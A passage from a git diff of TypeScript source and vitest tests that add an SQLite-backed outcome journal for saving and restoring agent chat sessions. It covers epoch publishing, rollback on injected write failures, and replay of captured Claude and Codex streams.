startJournalOutcomeLog +} from './journal-outcome-format' +import { persistJournalOutcomeRows } from './journal-outcome-table' + +/** Every write stores outcome records, and nothing else: they are the saved chat. An input-only epoch + * keeps its rows as they are and starts its records here, after them. */ +export function prepareJournalOutcomeWrite( + db: Database.Database, + live: JournalReducerState, + rows: readonly JournalRow[], + savedAt: number +): { adopt: () => JournalReducerState } { + const source = + journalOutcomeSource(db, live.sessionId, live.epoch) ?? + startJournalOutcomeLog(db, live.sessionId, live.epoch, live.lastSequence, savedAt) + if (source.through !== live.lastSequence) { + throw new Error('journal outcome writer has stale coverage') + } + const transition = persistJournalOutcomeRows(db, live, source, rows, savedAt) + advanceJournalOutcomeSource(db, live.sessionId, live.epoch, transition.state.lastSequence) + return { adopt: transition.adopt } +} + +/** Epoch builders use the same transition encoder; the epoch's journal rows hold only its marker. */ +export function publishJournalOutcomeEpoch( + db: Database.Database, + sessionId: string, + epoch: string, + rows: readonly JournalRow[] +): { adopt: () => JournalReducerState } { + const first = rows[0] + if (!first || first.seq !== 1 || first.kind !== 'epoch') { + throw new Error('missing founding epoch') + } + const source = startJournalOutcomeLog(db, sessionId, epoch, 0, first.ts) + const initial = createJournalReducerState(sessionId, epoch) + const transition = persistJournalOutcomeRows(db, initial, source, rows) + advanceJournalOutcomeSource(db, sessionId, epoch, transition.state.lastSequence) + return { adopt: transition.adopt } +} diff --git a/src/main/native-chat/agent-session-journal/journal-projection-bootstrap.test.ts b/src/main/native-chat/agent-session-journal/journal-projection-bootstrap.test.ts new file mode 100644 index 00000000000..397f0ba2dec --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-projection-bootstrap.test.ts @@ -0,0 +1,173 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it, vi } from 'vitest' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { + closeTestJournalHostDatabases, + openTestJournalHostDatabase, + liveTestJournalRows +} from './journal-host-database-test-support' +import type { JournalHostDatabase } from './journal-host-database' +import { readJournalRowsAfterCursor, restoreJournal } from './journal-open' +import { parseJournalRow } from './journal-row-schema' +import type { JournalRow } from './journal-row-schema' +import { publishNewEpoch } from './journal-epoch-rollover' +import { + projectionBase as base, + projectionEpoch as epoch, + projectionEpochRow, + projectionSessionId as sessionId, + seedProjectionRows, + seedOutcomeRows, + projectionWriter, + expectProjectionMatches +} from './journal-projection-test-support' + +let root: string +let database: JournalHostDatabase +const rigs: ReturnType[] = [] +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-outcome-prefix-')) + database = openTestJournalHostDatabase(root) + vi.spyOn(console, 'warn').mockImplementation(() => {}) +}) +afterEach(async () => { + for (const rig of rigs.splice(0)) { + rig.queue.markClosed() + await rig.queue.drain() + } + vi.restoreAllMocks() + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) +const item = (seq: number, itemId = 'stream'): JournalRow => ({ + ...base(seq), + kind: 'item', + itemId, + revision: seq, + body: { kind: 'status', text: `revision ${seq}` } +}) + +const tombstone = (seq: number, itemId: string): JournalRow => ({ + ...base(seq), + kind: 'tombstone', + itemId, + revision: seq +}) + +it("keeps an existing chat's rows byte for byte, starts its records after one appended marker, and reopens prefix plus records as live", async () => { + // A prefix holding a, b, c, d; then b changes in place, a is deleted, c is deleted and recreated, + // and e is new: the live map reads b, d, c, e. + seedProjectionRows(database, [ + projectionEpochRow, + ...['a', 'b', 'c', 'd'].map((id, index) => item(index + 2, id)) + ]) + const original = liveTestJournalRows(database.db, sessionId) + const rig = projectionWriter(database, restoreJournal(database.db, sessionId)!.state) + rigs.push(rig) + await rig.writer.enqueue((seq, ts) => ({ ...item(seq, 'b'), ts })) + // The first record holds only the row's own transition, never a snapshot of the prefix. + expect( + database.db + .prepare(`SELECT field, entry_key, ordinal FROM journal_outcomes + WHERE field != '$'`) + .all() + ).toEqual([{ field: 'items', entry_key: '"b"', ordinal: 'b' }]) + for (const row of [ + (seq: number) => tombstone(seq, 'a'), + (seq: number) => tombstone(seq, 'c'), + (seq: number) => item(seq, 'c'), + (seq: number) => item(seq, 'e') + ]) { + await rig.writer.enqueue((seq, ts) => ({ ...row(seq), ts })) + } + + const rows = liveTestJournalRows(database.db, sessionId) + expect(rows.slice(0, original.length)).toEqual(original) + expect(rows).toHaveLength(original.length + 1) + // Shipped readers refuse the marker wherever it sits; it was never written over a row. + expect(rows.at(-1)?.seq).toBe(original.length + 1) + expect(parseJournalRow(rows.at(-1)!.rowJson)).toEqual({ ok: false, unreadable: true }) + expect([...rig.state().items.keys()]).toEqual(['b', 'd', 'c', 'e']) + expectProjectionMatches(database, rig.state()) + + // Catch-up pages the prefix rows, then the record groups, each sequence once. + const read = (after: number, limit?: number) => + readJournalRowsAfterCursor(database.db, sessionId, epoch, after, limit).map((row) => row.seq) + expect(read(0)).toEqual([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]) + expect(read(3, 4)).toEqual([4, 5, 6, 7]) + expect(read(5, 2)).toEqual([6, 7]) + expect(read(7)).toEqual([8, 9, 10]) +}) + +it('keeps a record that updated a prefix key when a later prefix fold no longer yields that key', async () => { + seedProjectionRows(database, [projectionEpochRow, item(2, 'a'), item(3, 'b')]) + const rig = projectionWriter(database, restoreJournal(database.db, sessionId)!.state) + rigs.push(rig) + await rig.writer.enqueue((seq, ts) => ({ ...item(seq, 'b'), ts })) + await rig.writer.enqueue((seq, ts) => ({ ...item(seq, 'c'), ts })) + // A later reducer reads the old row for b as another item: the prefix no longer holds b. + database.db + .prepare('UPDATE journal_rows SET row_json = ? WHERE session_id = ? AND seq = 3') + .run(JSON.stringify({ ...item(3, 'renamed'), revision: 3 }), sessionId) + const restored = restoreJournal(database.db, sessionId) + expect(restored).toMatchObject({ newer: null, damage: null }) + // b keeps its newest value, appended after the prefix and before the tail's own keys. + expect([...restored!.state.items.keys()]).toEqual(['a', 'renamed', 'b', 'c']) + expect(restored!.state.items.get('b')).toEqual(rig.state().items.get('b')) +}) + +it('fences opens and every writer before mutation, while the old parser refuses the founding row', async () => { + const state = seedOutcomeRows(database, [projectionEpochRow, item(2)]) + const anchor = liveTestJournalRows(database.db, sessionId)[0] + expect(anchor && parseJournalRow(anchor.rowJson)).toEqual({ ok: false, unreadable: true }) + const rig = projectionWriter(database, state) + rigs.push(rig) + database.db.prepare('UPDATE journal_outcome_epochs SET format = 99').run() + expect(restoreJournal(database.db, sessionId)).toMatchObject({ + newer: { sequence: 1 }, + damage: null + }) + const before = database.db + .prepare('SELECT * FROM journal_outcomes ORDER BY seq, field, entry_key') + .all() + await expect(rig.writer.enqueue((seq) => item(seq))).rejects.toMatchObject({ + code: 'journal_read_only' + }) + expect( + database.db.prepare('SELECT * FROM journal_outcomes ORDER BY seq, field, entry_key').all() + ).toEqual(before) + expect(rig.state()).toBe(state) + // Missing remains distinct from unsupported for ACP's resume and loss-warning decisions. + expect(restoreJournal(database.db, 'missing-session')).toBeNull() +}) + +// The check runs inside the publishing transaction, against the epoch the caller last saw. +it('refuses to publish a new epoch over one the caller did not see, writing nothing', () => { + seedOutcomeRows(database, [projectionEpochRow, item(2)]) + const before = database.db.prepare('SELECT * FROM journal_rows ORDER BY seq').all() + const committed = vi.fn() + expect(() => + publishNewEpoch({ + database, + identity: { + sessionId, + workspaceId: 'ws', + hostId: 'host', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + epoch: 'replacement', + reason: 'handle_forked', + fence: 2, + now: 20_000, + expectedEpoch: 'an-epoch-replaced-meanwhile', + queue: { cards: [], receipt: { write: () => {}, committed } }, + onPublished: committed + }) + ).toThrow(expect.objectContaining({ code: 'journal_row_rejected' })) + expect(committed).not.toHaveBeenCalled() + expect(database.db.prepare('SELECT * FROM journal_rows ORDER BY seq').all()).toEqual(before) + expect(restoreJournal(database.db, sessionId)?.state.epoch).toBe(epoch) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-projection-failure.test.ts b/src/main/native-chat/agent-session-journal/journal-projection-failure.test.ts new file mode 100644 index 00000000000..f1d7d36c930 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-projection-failure.test.ts @@ -0,0 +1,158 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it, vi } from 'vitest' +import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' +import type { AgentJournalMessageItem } from '../../../shared/agent-session-journal-types' +import { + closeTestJournalHostDatabases, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { encodeJournalState } from './journal-state-codec' +import { JournalStopMarks } from './journal-stop-marks' +import type { JournalHostDatabase } from './journal-host-database' +import type { JournalRow } from './journal-row-schema' +import { + projectionBase as base, + projectionEpoch as epoch, + projectionEpochRow, + projectionSessionId as sessionId, + projectionWriter, + seedOutcomeRows, + expectProjectionMatches +} from './journal-projection-test-support' + +let root: string +let database: JournalHostDatabase +let rig: ReturnType | undefined +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-outcomes-failure-')) + database = openTestJournalHostDatabase(root) + vi.spyOn(console, 'warn').mockImplementation(() => {}) +}) +afterEach(async () => { + rig?.queue.markClosed() + await rig?.queue.drain() + vi.restoreAllMocks() + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) + +// The records, the epoch's coverage and the receipt are one write: any failure among them, or at +// COMMIT, refuses the send as main's row insert does, and the live chat adopts nothing. +it('adopts nothing on an outcome, coverage, receipt, outer-abort or COMMIT failure', async () => { + const user: AgentJournalMessageItem = { + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text: 'Continue' }] + } + const state = seedOutcomeRows(database, [ + projectionEpochRow, + { + ...base(2), + kind: 'tombstone', + itemId: 'stop', + revision: 1, + stopEvent: { reason: 'user-stop', at: 1_002 } + } + ]) + rig = projectionWriter(database, state) + const writer = rig.writer + const stops = new JournalStopMarks({ state: rig.state }) + const settle = stops.beginSettle(true) + const send = + (id: string) => + (seq: number, ts: number): JournalRow => ({ + ...base(seq), + ts, + kind: 'submission', + clientMessageId: id, + body: user, + providerHandle: { kind: 'codex', threadId: 'thread-1' }, + payloadFingerprint: agentSessionSendBodyFingerprint(sessionId, user) + }) + database.db.exec('CREATE TABLE test_receipts (seq INTEGER)') + const receipt = { + write: (db: JournalHostDatabase['db'], row?: JournalRow) => { + db.prepare('INSERT INTO test_receipts VALUES (?)').run(row?.seq ?? 0) + }, + committed: vi.fn() + } + await expect(writer.enqueue(send('preserved'), receipt)).resolves.toMatchObject({ seq: 3 }) + expect(receipt.committed).toHaveBeenCalledOnce() + expect(rig.state().submissions.has('preserved')).toBe(true) + expect(stops.latest()?.settle).toBe(settle) + expectProjectionMatches(database, rig.state()) + const saved = encodeJournalState(rig.state()) + const live = rig.state() + const scenarios = [ + [ + 'outcome', + `CREATE TRIGGER failure BEFORE INSERT ON journal_outcomes BEGIN SELECT RAISE(ABORT, 'failure'); END` + ], + [ + 'coverage', + `CREATE TRIGGER failure BEFORE UPDATE ON journal_outcome_epochs BEGIN SELECT RAISE(ABORT, 'failure'); END` + ], + [ + 'receipt', + `CREATE TRIGGER failure BEFORE INSERT ON test_receipts BEGIN SELECT RAISE(ABORT, 'failure'); END` + ], + [ + 'outer', + `CREATE TRIGGER failure BEFORE INSERT ON test_receipts BEGIN SELECT RAISE(ROLLBACK, 'failure'); END` + ] + ] as const + for (const [name, sql] of scenarios) { + database.db.exec(sql) + await expect(writer.enqueue(send(name), receipt)).rejects.toThrow('failure') + database.db.exec('DROP TRIGGER failure') + expect(rig.state()).toBe(live) + expect(encodeJournalState(live)).toEqual(saved) + expect(receipt.committed).toHaveBeenCalledOnce() + expect(stops.latest()?.settle).toBe(settle) + expectProjectionMatches(database, live) + } + const exec = database.db.exec.bind(database.db) + const spy = vi.spyOn(database.db, 'exec').mockImplementation((sql) => { + if (sql === 'COMMIT') { + throw new Error('injected boundary failure') + } + exec(sql) + }) + await expect(writer.enqueue(send('commit'), receipt)).rejects.toThrow('injected boundary failure') + spy.mockRestore() + expect(rig.state()).toBe(live) + expect(encodeJournalState(live)).toEqual(saved) + expect(stops.latest()?.settle).toBe(settle) + expect(receipt.committed).toHaveBeenCalledOnce() + expect(database.db.prepare('SELECT COUNT(*) AS n FROM test_receipts').get()?.n).toBe(1) + expectProjectionMatches(database, live) + const first = rig.state().lastSequence + 1 + await writer.enqueueRows(() => [ + (seq, ts) => ({ + ...base(seq), + ts, + kind: 'queue', + messageId: 'frozen', + change: { op: 'queued', body: user, position: 1, queuedAt: { epoch, sequence: seq } } + }), + (seq, ts) => ({ + ...base(seq), + ts, + kind: 'queue', + messageId: 'frozen', + change: { op: 'held', holdReason: 'edited' } + }) + ]) + const contributions = database.db + .prepare(`SELECT seq, value_json FROM journal_outcomes + WHERE field = 'queue.cards' AND seq >= ? ORDER BY seq`) + .all(first) + expect( + contributions.map((entry) => + typeof entry.value_json === 'string' ? JSON.parse(entry.value_json)[1].holdReason : undefined + ) + ).toEqual([null, 'edited']) + expectProjectionMatches(database, rig.state()) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-projection-streams.test.ts b/src/main/native-chat/agent-session-journal/journal-projection-streams.test.ts new file mode 100644 index 00000000000..a3440360615 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-projection-streams.test.ts @@ -0,0 +1,250 @@ +import { readFileSync } from 'node:fs' +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it, vi } from 'vitest' +import { z } from 'zod' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import { + codexProviderHandle, + claudeProviderHandle +} from '../../../shared/agent-session-provider-handle-encoding' +import { createClaudeJournalTranslator } from '../../claude/claude-structured-journal-translation' +import { createCodexJournalTranslator } from '../../codex/codex-structured-journal-translation' +import { createDeferredStructuredAgentSessionEventSink } from '../agent-session-wire/structured-agent-session-event-sink' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { restoreJournal } from './journal-open' +import { applyJournalRow, renderJournalState } from './journal-reducer' +import { + expectProjectionMatches, + projectionBase, + projectionEpochRow, + projectionWriter, + seedOutcomeRows, + seedProjectionRows +} from './journal-projection-test-support' +import type { JournalHostDatabase } from './journal-host-database' +import type { JournalRow } from './journal-row-schema' + +const sessionId = 'session-1' +let root: string +let database: JournalHostDatabase +const journals = createTrackedJournalOpener() +const disposals: (() => void)[] = [] +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-projection-streams-')) + database = openTestJournalHostDatabase(root) +}) +afterEach(async () => { + for (const dispose of disposals.splice(0)) { + dispose() + } + await journals.closeAll() + await rm(root, { recursive: true, force: true }) +}) + +const claudeCapture = z.object({ + kind: z.string(), + at: z.number(), + frame: z.record(z.string(), z.unknown()).optional() +}) +const codexCapture = z.object({ + case: z.string(), + t: z.number(), + method: z.string(), + params: z.record(z.string(), z.unknown()) +}) +function lines(path: URL): unknown[] { + return readFileSync(path, 'utf8') + .trim() + .split('\n') + .map((line) => JSON.parse(line)) +} + +it.each(['claude', 'codex'] as const)( + 'projects every commit of a captured %s stream, revisions and Stop settlement', + async (agent) => { + let at = 1_000 + const identity: AgentSessionJournalIdentity = { + sessionId, + workspaceId: 'workspace', + hostId: 'host', + agent, + providerHandle: + agent === 'codex' ? codexProviderHandle('thread-1') : claudeProviderHandle('claude-1', null) + } + const journal = await journals.open({ identity, stateDirectory: root, now: () => at }) + const expected = restoreJournal(database.db, sessionId)!.state + let commits = 0 + let planRevisions = 0 + journal.observeCommits((rows) => { + if (!rows?.length) { + return + } + for (const row of rows) { + applyJournalRow(expected, row, at) + } + commits++ + planRevisions += rows.filter( + (row) => + row.kind === 'item' && + row.body.kind === 'status' && + row.body.providerFrame?.kind === 'notification:turn/plan/updated' + ).length + const saved = restoreJournal(database.db, sessionId)?.state + expect(saved?.lastSequence).toBe(journal.cursor().sequence) + if (!saved) { + throw new Error('missing saved chat') + } + expectProjectionMatches(database, expected) + expect(renderJournalState(saved)).toStrictEqual(journal.snapshot()) + }) + const failed = vi.fn() + const sink = createDeferredStructuredAgentSessionEventSink({ + sessionId, + logger: { warn: vi.fn(), error: vi.fn() }, + onFailed: failed + }) + disposals.push(() => sink.close()) + sink.bind({ journal, fence: 1, publish: () => undefined }) + const pending = new Set<() => void>() + const schedule = (run: () => void) => { + pending.add(run) + return () => { + pending.delete(run) + } + } + const flush = async (translator: { flush: () => void }) => { + translator.flush() + const runs = Array.from(pending) + pending.clear() + for (const run of runs) { + run() + } + expect(await sink.drained()).toEqual({ ok: true }) + } + if (agent === 'claude') { + const translator = createClaudeJournalTranslator({ sink: sink.sink, schedule }) + disposals.push(() => translator.dispose()) + const capture = lines( + new URL('../../claude/__fixtures__/claude-adapter-capture-miss.jsonl', import.meta.url) + ).map((line) => claudeCapture.parse(line)) + for (const record of capture) { + if (!record.frame) { + continue + } + at = 1_000 + record.at + translator.handle({ type: 'message', sessionId, message: record.frame, observedAt: at }) + await flush(translator) + } + } else { + const translator = createCodexJournalTranslator({ sink: sink.sink, schedule, now: () => at }) + disposals.push(() => translator.dispose()) + const capture = lines( + new URL('../../codex/__fixtures__/codex-app-server-turn-endings.jsonl', import.meta.url) + ) + .map((line) => codexCapture.parse(line)) + .filter((record) => record.case === '0.158.0-control') + expect(capture.length).toBeGreaterThan(0) + let threadId = 'thread-1' + let turnId = 'turn-1' + for (const record of capture) { + at = 1_000 + record.t + if (typeof record.params.threadId === 'string') { + threadId = record.params.threadId + } + if (record.method === 'turn/started') { + const turn = z.object({ id: z.string() }).parse(record.params.turn) + turnId = turn.id + } + if (record.method === 'turn/completed') { + for (const status of ['inProgress', 'completed']) { + translator.handle({ + type: 'notification', + sessionId, + threadId, + method: 'turn/plan/updated', + params: { threadId, turnId, plan: [{ step: 'Verify saved state', status }] } + }) + await flush(translator) + } + } + translator.handle({ + type: 'notification', + sessionId, + threadId, + method: record.method, + params: record.params, + observedAt: at + }) + await flush(translator) + } + expect(planRevisions).toBeGreaterThanOrEqual(2) + } + expect(failed).not.toHaveBeenCalled() + // Most codex capture records write no row; it commits three times. + expect(commits).toBeGreaterThanOrEqual(agent === 'claude' ? 6 : 3) + const stoppedTurn = { provider: 'orca', clientMessageId: 'stopped-turn' } as const + await journal.appendItem( + stoppedTurn, + { kind: 'turn', turnId: 'stop-turn', state: 'running' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await journal.appendStopEvent({ reason: 'user-stop', turnId: 'stop-turn' }, 1) + const settle = journal.stopMarks.beginSettle(true) + await journal.appendLifecycleBatch({ + settlementId: 'stop-settlement', + fence: 1, + mutations: [ + { + kind: 'item', + identity: stoppedTurn, + body: { kind: 'turn', turnId: 'stop-turn', state: 'interrupted', completedAt: at + 1 }, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ] + }) + expect(journal.stopMarks.latest()?.settle).toBe(settle) + journal.stopMarks.settled(settle) + expect( + restoreJournal(database.db, sessionId)?.state.appliedSettlementIds.has('stop-settlement') + ).toBe(true) + } +) + +// One row may remove an item, add another, then re-create the first above its tombstone: the +// re-created item moves after the new one, live and saved alike, whether the first came from the +// chat's records or from its frozen input prefix. +it.each(['written', 'over a prefix'] as const)( + 'keeps live order for a key deleted and re-created around a new key in one %s row', + async (path) => { + const item = (itemId: string, revision: number) => ({ + kind: 'item' as const, + itemId, + revision, + body: { kind: 'status' as const, text: `${itemId} ${revision}` } + }) + const first: JournalRow = { ...projectionBase(2), ...item('x', 1) } + const batch: JournalRow = { + ...projectionBase(3), + kind: 'lifecycle-batch', + settlementId: 'reorder', + mutations: [{ kind: 'tombstone', itemId: 'x', revision: 2 }, item('y', 1), item('x', 3)] + } + const rig = projectionWriter( + database, + path === 'written' + ? seedOutcomeRows(database, [projectionEpochRow, first]) + : seedProjectionRows(database, [projectionEpochRow, first]) + ) + await rig.writer.enqueue((seq, ts) => ({ ...batch, seq, ts })) + expect([...rig.state().items.keys()]).toEqual(['y', 'x']) + expectProjectionMatches(database, rig.state()) + } +) diff --git a/src/main/native-chat/agent-session-journal/journal-projection-test-support.ts b/src/main/native-chat/agent-session-journal/journal-projection-test-support.ts new file mode 100644 index 00000000000..a26b438c72a --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-projection-test-support.ts @@ -0,0 +1,96 @@ +import { expect } from 'vitest' +import type { JournalHostDatabase } from './journal-host-database' +import { JournalRowWriter } from './journal-row-writer' +import { JournalWriteQueue } from './journal-write-queue' +import { JournalWriteProjection } from './journal-write-projection' +import { + applyJournalRow, + createJournalReducerState, + type JournalReducerState +} from './journal-reducer' +import { restoreJournal } from './journal-open' +import { encodeJournalState } from './journal-state-codec' +import { journalOutcomeSource } from './journal-outcome-format' +import { publishJournalOutcomeEpoch } from './journal-outcome-write' +import { insertTestJournalRow, publishTestJournalEpoch } from './journal-host-database-test-support' +import type { JournalRow } from './journal-row-schema' + +export const projectionSessionId = 'session-1' +export const projectionEpoch = 'epoch-1' +export const projectionBase = (seq: number) => ({ + v: 4, + epoch: projectionEpoch, + seq, + ts: 1_000 + seq, + fence: 1 +}) +export const projectionEpochRow: JournalRow = { + ...projectionBase(1), + kind: 'epoch', + reason: 'session_created', + providerHandle: { kind: 'codex', threadId: 'thread-1' } +} + +export function seedProjectionRows( + database: JournalHostDatabase, + rows: readonly JournalRow[] +): JournalReducerState { + const state = createJournalReducerState(projectionSessionId, projectionEpoch) + database.transaction((db) => { + publishTestJournalEpoch(db, projectionSessionId, projectionEpoch) + for (const row of rows) { + insertTestJournalRow(db, projectionSessionId, row) + applyJournalRow(state, row) + } + }) + return state +} + +export function seedOutcomeRows( + database: JournalHostDatabase, + rows: readonly JournalRow[] +): JournalReducerState { + const publication = database.transaction((db) => { + publishTestJournalEpoch(db, projectionSessionId, projectionEpoch) + return publishJournalOutcomeEpoch(db, projectionSessionId, projectionEpoch, rows) + }) + return publication.adopt() +} + +export function projectionWriter(database: JournalHostDatabase, initial: JournalReducerState) { + let state = initial + const queue = new JournalWriteQueue(state.sessionId) + const projection = new JournalWriteProjection({ + database, + state: () => state, + adopt: (next) => { + state = next + } + }) + const writer = new JournalRowWriter({ + database: () => database, + sessionId: state.sessionId, + now: () => 10_000, + serialize: (run) => queue.serialize(run), + readOnly: () => false, + highestFence: () => state.highestFence, + nextSequence: () => state.lastSequence + 1, + prepare: (db, rows, savedAt) => projection.prepare(db, rows, savedAt), + commit: () => undefined + }) + return { writer, projection, state: () => state, queue } +} + +export function expectProjectionMatches( + database: JournalHostDatabase, + state: JournalReducerState +): void { + const source = journalOutcomeSource(database.db, state.sessionId, state.epoch) + if (!source) { + throw new Error('expected canonical outcomes') + } + const restored = restoreJournal(database.db, state.sessionId) + expect(restored?.damage).toBeNull() + expect(restored?.newer).toBeNull() + expect(restored && encodeJournalState(restored.state)).toStrictEqual(encodeJournalState(state)) +} diff --git a/src/main/native-chat/agent-session-journal/journal-read-row.ts b/src/main/native-chat/agent-session-journal/journal-read-row.ts new file mode 100644 index 00000000000..8ee6c981084 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-read-row.ts @@ -0,0 +1,51 @@ +import type Database from '../../sqlite/sync-database' +import type { JournalRow } from './journal-row-schema' +import type { JournalOutcomeSource } from './journal-outcome-format' + +/** In-process change index only; the public wire still contains items and submissions. */ +export type JournalOutcomeReadRow = { + kind: 'outcome' + epoch: string + seq: number + itemIds: string[] + submissionIds: string[] +} +export type JournalReadRow = JournalRow | JournalOutcomeReadRow + +/** LIMIT counts logical sequences, never the independently compactable physical contributions. */ +export function readJournalOutcomeGroups( + db: Database.Database, + epoch: string, + source: JournalOutcomeSource, + after: number, + limit?: number +): JournalOutcomeReadRow[] { + const groups = db + .prepare(`SELECT DISTINCT seq FROM journal_outcomes + WHERE generation = ? AND seq > ? AND seq <= ? ORDER BY seq LIMIT ?`) + .all(source.generation, after, source.through, limit ?? -1) + const touched = db.prepare(`SELECT field, entry_key FROM journal_outcomes + WHERE generation = ? AND seq = ? AND field IN ('items', 'submissions') ORDER BY field, entry_key`) + return groups.map(({ seq }) => { + if (typeof seq !== 'number') { + throw new Error('invalid journal outcome group') + } + const itemIds: string[] = [] + const submissionIds: string[] = [] + for (const entry of touched.iterate(source.generation, seq)) { + if (typeof entry.entry_key !== 'string') { + throw new Error('invalid journal outcome key') + } + const key: unknown = JSON.parse(entry.entry_key) + if (typeof key !== 'string') { + throw new Error('invalid journal public outcome key') + } + if (entry.field === 'items') { + itemIds.push(key) + } else { + submissionIds.push(key) + } + } + return { kind: 'outcome', epoch, seq, itemIds, submissionIds } + }) +} diff --git a/src/main/native-chat/agent-session-journal/journal-received-content.test.ts b/src/main/native-chat/agent-session-journal/journal-received-content.test.ts index 1441989c61f..f9ed75c5e54 100644 --- a/src/main/native-chat/agent-session-journal/journal-received-content.test.ts +++ b/src/main/native-chat/agent-session-journal/journal-received-content.test.ts @@ -134,12 +134,11 @@ it.each(['claude', 'codex'] as const)( if (!replay.ok) { throw new Error('Expected the held writes to remain replayable') } - expect(replay.rows[0]).toMatchObject({ kind: 'item', body: { kind: 'status', text: 'before' } }) + expect(replay.rows[0]).toMatchObject({ kind: 'outcome' }) + const durable = reopened.snapshot().items.filter((item) => item.sequence > cursor.sequence) + expect(durable[0]?.body).toMatchObject({ kind: 'status', text: 'before' }) expect( - replay.rows.findIndex( - (row) => - row.kind === 'item' && row.body.kind === 'tool-call' && row.body.state === 'completed' - ) + durable.findIndex((item) => item.body.kind === 'tool-call' && item.body.state === 'completed') ).toBeGreaterThan(0) expect( reopened.snapshot().items.flatMap(({ body }) => (body.kind === 'tool-call' ? [body] : [])) @@ -211,12 +210,18 @@ it('hands an ACP omitted-field completion to SQLite before root exit with a bloc if (!replay.ok) { throw new Error('Expected the held writes to remain replayable') } - expect(replay.rows[0]).toMatchObject({ kind: 'item', body: { kind: 'status', text: 'before' } }) + expect(replay.rows[0]).toMatchObject({ kind: 'outcome' }) + // The call began before the cursor, so its revision keeps that place; the held writes' own + // groups still show the status landing first and the completion after it. + const touched = replay.rows.map((row) => (row.kind === 'outcome' ? row.itemIds : [])) + const items = reopened.snapshot().items + const status = items.find((item) => item.body.kind === 'status' && item.body.text === 'before') + const call = items.find( + (item) => item.body.kind === 'tool-call' && item.body.callId === 'sleep-1' + ) + expect(touched[0]).toEqual([status?.itemId]) expect( - replay.rows.findIndex( - (row) => - row.kind === 'item' && row.body.kind === 'tool-call' && row.body.state === 'completed' - ) + touched.findIndex((ids) => call !== undefined && ids.includes(call.itemId)) ).toBeGreaterThan(0) expect( reopened.snapshot().items.flatMap(({ body }) => (body.kind === 'tool-call' ? [body] : [])) diff --git a/src/main/native-chat/agent-session-journal/journal-reducer-transition.ts b/src/main/native-chat/agent-session-journal/journal-reducer-transition.ts new file mode 100644 index 00000000000..ca9ce22b4f8 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-reducer-transition.ts @@ -0,0 +1,272 @@ +// Track writes through objects, iterators and collection entries; finalize only after COMMIT. + +import type { JournalReducerState } from './journal-reducer' +import { + JournalDraftMap, + JournalDraftSet, + type JournalDraftAccess, + type JournalEntryChange +} from './journal-transition-collections' + +type DraftNode = { + value: object + /** What the draft holds now: the copy once written, else the object itself. */ + current: () => object + finish: () => object + listen: (changed: () => void) => void +} + +class JournalDraft { + private readonly originals = new WeakMap() + private readonly proxies = new WeakMap() + private readonly collections: (JournalDraftMap | JournalDraftSet)[] = + [] + private readonly assigned = new WeakSet() + private readonly pending: (() => void)[] = [] + private readonly resolved = new WeakMap() + /** Objects and collections the fold reached; scaling tests pin how this grows with chat size. */ + nodes = 0 + + readonly access: JournalDraftAccess = { + wrap: (value, changed, path) => this.wrap(value, changed, path), + assign: (value) => { + if (typeof value === 'object' && value !== null) { + this.assigned.add(value) + } + }, + finish: (value) => this.resolve(value), + defer: (apply) => this.pending.push(apply) + } + + wrap(value: T, changed: () => void, path: string): T { + if (typeof value !== 'object' || value === null) { + return value + } + const node = this.proxies.get(value) ?? this.originals.get(value) ?? this.track(value, path) + node.listen(changed) + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: a node's draft (overlay collection or copy-on-write proxy) has the interface of the object it isolates. + return node.value as T + } + + private track(value: T, path: string): DraftNode { + this.nodes += 1 + const listeners = new Set<() => void>() + let dirty = false + let notifying = false + const mark = (): void => { + dirty = true + if (notifying) { + return + } + // A batch consumes changes after each row; later mutations must notify again. + notifying = true + try { + for (const notify of listeners) { + notify() + } + } finally { + notifying = false + } + } + const listen = (notify: () => void): void => { + listeners.add(notify) + if (dirty) { + notify() + } + } + let node: DraftNode + if (value instanceof Map || value instanceof Set) { + const collection = + value instanceof Map + ? new JournalDraftMap(value, this.access, mark, path) + : new JournalDraftSet(value, this.access, mark, path) + this.collections.push(collection) + node = { + value: collection, + current: () => collection, + finish: () => collection.finish(), + listen + } + } else { + let copy: object | undefined + const current = (): object => copy ?? value + const writable = (): object => { + const next = + copy ?? + (Array.isArray(value) + ? [...value] + : Object.assign(Object.create(Object.getPrototypeOf(value)), value)) + copy = next + return next + } + const assignedKeys = new Set() + const target = Array.isArray(value) ? [] : Object.create(Object.getPrototypeOf(value)) + const proxy = new Proxy(target, { + get: (_target, key, receiver) => + this.wrap( + // oxlint-disable-next-line anti-slop/no-reflect-get -- Proxy `get` trap: only Reflect.get forwards a raw string|symbol key with the proxy receiver. + Reflect.get(current(), key, receiver), + mark, + path ? `${path}.${String(key)}` : 